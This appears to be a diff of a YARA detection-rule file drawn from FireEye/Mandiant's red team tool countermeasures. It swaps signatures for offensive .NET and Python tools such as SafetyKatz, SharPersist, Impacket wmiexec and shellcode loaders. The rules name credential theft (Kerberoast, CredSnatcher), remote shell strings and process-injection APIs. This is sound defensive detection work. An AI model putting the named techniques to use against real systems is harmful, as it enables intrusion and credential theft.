-		id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7"
+		id = "ac394751-da40-564b-8e24-8f353326b46a"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_GadgetToJScript_1.yar#L4-L17"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/HackTool_MSIL_WMIspy_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "7af24305a409a2b8f83ece27bb0f7900"
-		logic_hash = "a880c20e61376dacd4e3a04f2cf065f19067c29371180b1dec186172cadf9564"
-		score = 50
-		quality = 75
-		tags = ""
-		rev = 4
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "a5a9f7c7a7bfe474e8b21306ea220b4d476832f3ad4fafdd8967a2250d15a701"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		rev = 1
 
 	strings:
-		$s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl"
-		$s2 = "henlOZXRUb0pzY3JpcHRMb2Fk"
-		$s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV"
+		$typelibguid0 = "5ee2bca3-01ad-489b-ab1b-bda7962e06bb" ascii nocase wide
 
 	condition:
-		any of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Builder_MSIL_G2JS_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_WMISPY_2 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the Gadget2JScript project."
+		description = "wql searches"
 		author = "FireEye"
-		id = "484202c2-ac7d-5e6c-8bf1-3452a357c668"
+		id = "474af878-a657-54bc-a063-04532df928d4"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Builder_MSIL_G2JS_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/APT_HackTool_MSIL_WMISPY_2.yar#L4-L24"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "fa255fdc88ab656ad9bc383f9b322a76"
-		logic_hash = "487d8e8deef218412f241d99ce32b63bfeb3568d23048b9dd4afff8f401bfea5"
+		hash = "3651f252d53d2f46040652788499d65a"
+		logic_hash = "553fc1e536482a56b3228a5c9ebac843af9083e8ac864bf65c81b36a39ca5e5e"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		rev = 2
+		rev = 4
 
 	strings:
-		$typelibguid1 = "AF9C62A1-F8D2-4BE0-B019-0A7873E81EA9" ascii nocase wide
+		$MSIL = "_CorExeMain"
+		$str1 = "root\\cimv2" wide
+		$str2 = "root\\standardcimv2" wide
+		$str3 = "from MSFT_NetNeighbor" wide
+		$str4 = "from Win32_NetworkLoginProfile" wide
+		$str5 = "from Win32_IP4RouteTable" wide
+		$str6 = "from Win32_DCOMApplication" wide
+		$str7 = "from Win32_SystemDriver" wide
+		$str8 = "from Win32_Share" wide
+		$str9 = "from Win32_Process" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and $MSIL and all of ($str*)
 }
-rule FIREEYE_RT_Hunting_B64Engine_Dotnettojscript_Dos
+rule FIREEYE_RT_Loader_MSIL_Generic_1 : FILE
 {
 	meta:
-		description = "This file may enclude a Base64 encoded .NET executable. This technique is used by the project DotNetToJScript which is used by many malware families including GadgetToJScript."
+		description = "No description has been set in the source file - FireEye-RT"
 		author = "FireEye"
-		id = "24c9c259-9bb9-5f46-9278-4fa20eb3c8c4"
+		id = "f919e3fc-cf76-53af-8f04-24921830666f"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/G2JS/production/yara/Hunting_B64Engine_DotNetToJScript_Dos.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_MSIL_Generic_1.yar#L4-L21"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "7af24305a409a2b8f83ece27bb0f7900"
-		logic_hash = "e2afb43af469f8ae02f6fd21db6dbd45c997fb003e3aeeaa0d4ff3e85c64159a"
-		score = 50
+		hash = "b8415b4056c10c15da5bba4826a44ffd"
+		logic_hash = "06cddd7e1c1c778348539cfd50f01d55f86689dec86c045d7ce7b9cd71690e07"
+		score = 75
 		quality = 75
-		tags = ""
-		rev = 1
+		tags = "FILE"
+		rev = 5
 
 	strings:
-		$b64_mz = "AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEU"
+		$MSIL = "_CorExeMain"
+		$opc1 = { 00 72 [4] 0A 72 [4] 0B 06 28 [4] 0C 12 03 FE 15 [4] 12 04 FE 15 [4] 07 14 }
+		$str1 = "DllImportAttribute"
+		$str2 = "FromBase64String"
+		$str3 = "ResumeThread"
+		$str4 = "OpenThread"
+		$str5 = "SuspendThread"
+		$str6 = "QueueUserAPC"
 
 	condition:
-		$b64_mz
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and $MSIL and all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_2 : FILE
+rule FIREEYE_RT_Loader_Win_Generic_20 : FILE
 {
 	meta:
 		description = "No description has been set in the source file - FireEye-RT"
 		author = "FireEye"
-		id = "ce39710e-7649-5f7d-bbbe-65dc30f678e8"
-		date = "2020-12-04"
-		date = "2020-12-04"
+		id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49"
+		date = "2020-12-02"
+		date = "2020-12-02"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_2.yar#L4-L21"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_20.yar#L4-L19"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "11b5aceb428c3e8c61ed24a8ca50553e"
-		logic_hash = "872ab717668375a49d6c7b1927a680747b405c0198fe4fc6f43ccc562870eb37"
+		hash = "5125979110847d35a338caac6bff2aa8"
+		logic_hash = "9611aed2b4e4278d40254cb5c4fe94a458cfa19f10e6fe888bc7ceb166669cc6"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		rev = 1
 
 	strings:
-		$s1 = "\x00Asktgt\x00"
-		$s2 = "\x00Kerberoast\x00"
-		$s3 = "\x00HarvestCommand\x00"
-		$s4 = "\x00EnumerateTickets\x00"
-		$s5 = "[*] Action: " wide
-		$s6 = "\x00Fluffy.Commands\x00"
+		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
+		$si1 = "VirtualProtect" fullword
+		$si2 = "malloc" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule FIREEYE_RT_APT_Hacktool_MSIL_FLUFFY_1 : FILE
+rule FIREEYE_RT_Loader_Win_Generic_19 : FILE
 {
 	meta:
 		description = "No description has been set in the source file - FireEye-RT"
 		author = "FireEye"
-		id = "6593202d-9b30-59ed-98c0-3e730fb5ceb7"
-		date = "2020-12-04"
-		date = "2020-12-04"
+		id = "4f4427ee-0f7d-5442-98a6-402d8b797289"
+		date = "2020-12-02"
+		date = "2020-12-02"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/FLUFFY/production/yara/APT_HackTool_MSIL_FLUFFY_1.yar#L4-L18"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/supplemental/yara/Loader_Win_Generic_19.yar#L4-L19"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "11b5aceb428c3e8c61ed24a8ca50553e"
-		logic_hash = "4d91c96ab7b628e88f79ee193612acc959448fe2220ef54371f5f5c6e7305d86"
+		hash = "3fb9341fb11eca439b50121c6f7c59c7"
+		logic_hash = "6db9696663c19857c1f89339b8cc9b0565e877f34e8d8cf77b89ef22b3f41683"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		rev = 1
 
 	strings:
-		$sb1 = { 0E ?? 1? 72 [4] 28 [2] 00 06 [0-16] 28 [2] 00 0A [2-80] 1F 58 0? [0-32] 28 [2] 00 06 [2-32] 1? 28 [2] 00 06 0? 0? 6F [2] 00 06 [2-4] 1F 0B }
-		$sb2 = { 73 [2] 00 06 13 ?? 11 ?? 11 ?? 7D [2] 00 04 11 ?? 73 [2] 00 0A 7D [2] 00 04 0E ?? 2D ?? 11 ?? 7B [2] 00 04 72 [4] 28 [2] 00 0A [2-32] 0? 28 [2] 00 0A [2-16] 11 ?? 7B [2] 00 04 0? 28 [2] 00 0A 1? 28 [2] 00 0A [2-32] 7E [2] 00 0A [0-32] FE 15 [2] 00 02 [0-16] 7D [2] 00 04 28 [2] 00 06 [2-32] 7B [2] 00 04 7D [2] 00 04 [2-32] 7C [2] 00 04 FE 15 [2] 00 02 [0-16] 11 ?? 8C [2] 00 02 28 [2] 00 0A 28 [2] 00 0A [2-80] 8C [2] 00 02 28 [2] 00 0A 12 ?? 12 ?? 12 ?? 28 [2] 00 06 }
-		$ss1 = "\x00Fluffy\x00"
+		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
+		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
+		$si1 = "VirtualProtect" fullword
+		$si2 = "malloc" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_SAFETYKATZ_4 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPZIPLIBZIPPER_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SafetyKatz project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpziplibzipper' project."
 		author = "FireEye"
-		id = "e160b75d-cc39-5e16-86e1-cba9fe64a6b6"
+		id = "392a52be-29ae-58e1-b517-1ab34a1e1fb8"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SAFETYKATZ/production/yara/HackTool_MSIL_SAFETYKATZ_4.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPZIPLIBZIPPER_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "45736deb14f3a68e88b038183c23e597"
-		logic_hash = "a02b4acea691d485f427ed26487f2f601065901324a8dcd6cd8de9502d8cd897"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "19354edb91a0d79fdf79437f7247bcf155514db40340af91a3320b556dc2e4c2"
 		score = 75
 		quality = 73
 		tags = "FILE"
 		rev = 3
 
 	strings:
-		$typelibguid1 = "8347E81B-89FC-42A9-B22C-F59A6A572DEC" ascii nocase wide
+		$typelibguid0 = "485ba350-59c4-4932-a4c1-c96ffec511ef" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Tool_MSIL_Sharpgrep_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNATIVEZIPPER_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnativezipper' project."
 		author = "FireEye"
-		id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b"
+		id = "c48835a7-06fe-5b30-be4d-086d98dc7a21"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPPGREP/production/yara/Tool_MSIL_SharpGrep_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNATIVEZIPPER_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
 		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "c22bfc50b3ab3c4082006aad3c3c89684cffe1e429b001b0bb08758856a47d04"
+		logic_hash = "fa54375b21abbb613e695f70a15233575fbe6e0536716544bb3b527f5e3ed8c6"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 1
+		rev = 3
 
 	strings:
-		$typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide
+		$typelibguid0 = "de5536db-9a35-4e06-bc75-128713ea6d27" ascii nocase wide
 
 	condition:
 		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_2
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPSQLCLIENT_1 : FILE
 {
 	meta:
-		description = "wmiexec"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
 		author = "FireEye"
-		id = "f1059f66-eaff-5866-bafb-c94236cf96a0"
-		date = "2020-12-01"
-		date = "2020-12-01"
+		id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41"
+		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Wmiexec)/production/yara/HackTool_PY_ImpacketObfuscation_2.yar#L4-L21"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPSQLCLIENT_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "f3dd8aa567a01098a8a610529d892485"
-		logic_hash = "ccbbe507798f16c7acf0780770fdb81b2e7dc333ab8bc51e6216816276c3f14b"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "bc79f80582f4fadecf54d926abdcf61694224654ba5075203f0d1123cf11afc1"
 		score = 75
-		quality = 75
-		tags = ""
+		quality = 73
+		tags = "FILE"
 		rev = 2
 
 	strings:
-		$s1 = "import random"
-		$s2 = "class WMIEXEC" nocase
-		$s3 = "class RemoteShell" nocase
-		$s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/
-		$s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase
+		$typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPPATCHCHECK_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the SharPersist project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharppatchcheck' project."
 		author = "FireEye"
-		id = "586e6c91-6970-57d1-8d8c-05ae9eb6117a"
+		id = "dedc12b9-b9e7-5c13-ad6d-2e286aba2302"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPPATCHCHECK_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
-		logic_hash = "cf480026c31b522850e25ba2d7986773d9c664242a2667ecd33151621c98c91e"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "dec6231b656eed1526d4f70fe1b9a476bfb06246f0a7c25f2687d8c68886d400"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 1
+		rev = 2
 
 	strings:
-		$typelibguid1 = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii nocase wide
+		$typelibguid0 = "528b8df5-6e5e-4f3b-b617-ac35ed2f8975" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Sharpersist_2 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPDNS_1 : FILE
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpdns' project."
 		author = "FireEye"
-		id = "49d7891e-b97a-52a8-acfd-bbf986732d6c"
+		id = "db6b45be-f42f-5d0f-b50a-32e7a2cbfce6"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPERSIST/production/yara/HackTool_MSIL_SharPersist_2.yar#L4-L23"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPDNS_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "98ecf58d48a3eae43899b45cec0fc6b7"
-		logic_hash = "57387352f8fd08e8b859dffc1164d46370f248b337526c265634160010572a00"
+		hash = "dd8805d0e470e59b829d98397507d8c2"
+		logic_hash = "bab36f9b1532c3b24c2aea2907006820ed7cf1c90dae7a8138962e14ac9eff55"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		rev = 1
+		rev = 2
 
 	strings:
-		$a1 = "SharPersist.lib"
-		$a2 = "SharPersist.exe"
-		$b1 = "ERROR: Invalid hotkey location option given." ascii wide
-		$b2 = "ERROR: Invalid hotkey given." ascii wide
-		$b3 = "ERROR: Keepass configuration file not found." ascii wide
-		$b4 = "ERROR: Keepass configuration file was not found." ascii wide
-		$b5 = "ERROR: That value already exists in:" ascii wide
-		$b6 = "ERROR: Failed to delete hidden registry key." ascii wide
-		$pdb1 = "\\SharPersist\\"
-		$pdb2 = "\\SharPersist.pdb"
+		$typelibguid0 = "d888cec8-7562-40e9-9c76-2bb9e43bb634" ascii nocase wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and ((@pdb2[1]<@pdb1[1]+50) or (1 of ($a*) and 2 of ($b*)))
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Loader_MSIL_Netshshellcoderunner_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPTEMPLATE_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NetshShellCodeRunner' project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharptemplate' project."
 		author = "FireEye"
-		id = "b3521812-7ea3-5f80-89bd-3bdd71b687f2"
+		id = "0ca9a13c-e0a0-588b-be13-5954b17d95b1"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETSHSHELLCODERUNNER/production/yara/Loader_MSIL_NetshShellCodeRunner_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPTEMPLATE_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
 		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "97f6475a9d42697f633e06a9b04a85021ca4920145eb4af257d71b431448f0e9"
+		logic_hash = "9746c1ab7b945d311c53fbdf95993d255369e06b23a3279c9f2e8a4df73ab63c"
 		score = 75
 		quality = 73
 		tags = "FILE"
 		rev = 2
 
 	strings:
-		$typelibguid0 = "49c045bc-59bb-4a00-85c3-4beb59b2ee12" ascii nocase wide
+		$typelibguid0 = "e9e452d4-9e58-44ff-ba2d-01b158dda9bb" ascii nocase wide
 
 	condition:
 		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Builder_MSIL_Sinfuloffice_1 : FILE
+rule FIREEYE_RT_APT_Hacktool_MSIL_SHARPNFS_1 : FILE
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SinfulOffice' project."
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpnfs' project."
 		author = "FireEye"
-		id = "cf020fb3-751b-5346-8c0d-dc0a552599a3"
+		id = "b9d1b4e8-644a-5611-85e8-a124f915b443"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/production/yara/Builder_MSIL_SinfulOffice_1.yar#L4-L15"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/APT_HackTool_MSIL_SHARPNFS_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
 		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "b5d49a8720e4daa21e95ec66299daec42e65906017de886ea91f7bb6bfb04c77"
+		logic_hash = "e7f9883376b153849970599d9ecc308882eb86a67834cfd8ab06b44539346125"
 		score = 75
 		quality = 73
 		tags = "FILE"
-		rev = 1
+		rev = 3
 
 	strings:
-		$typelibguid0 = "9940e18f-e3c7-450f-801a-07dd534ccb9a" ascii nocase wide
+		$typelibguid0 = "9f67ebe3-fc9b-40f2-8a18-5940cfed44cf" ascii nocase wide
 
 	condition:
 		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule FIREEYE_RT_Methodology_OLE_CHARENCODING_2 : FILE
+rule FIREEYE_RT_Credtheft_MSIL_Credsnatcher_1 : FILE
 {
 	meta:
-		description = "Looking for suspicious char encoding"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CredSnatcher' project."
 		author = "FireEye"
-		id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab"
+		id = "0d8f7495-4748-577d-8ef2-ccc4829fc165"
 		date = "2020-12-09"
 		modified = "2020-12-09"
 		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SINFULOFFICE/supplemental/yara/Methodology_OLE_CHARENCODING_2.yar#L4-L23"
+		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/UNCATEGORIZED/production/yara/CredTheft_MSIL_CredSnatcher_1.yar#L4-L15"
 		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "41b70737fa8dda75d5e95c82699c2e9b"
-		logic_hash = "20843295531dfd88934fe0902a5101c5c0828e82df3289d7f263f16df9c92324"
-		score = 65
-		quality = 75
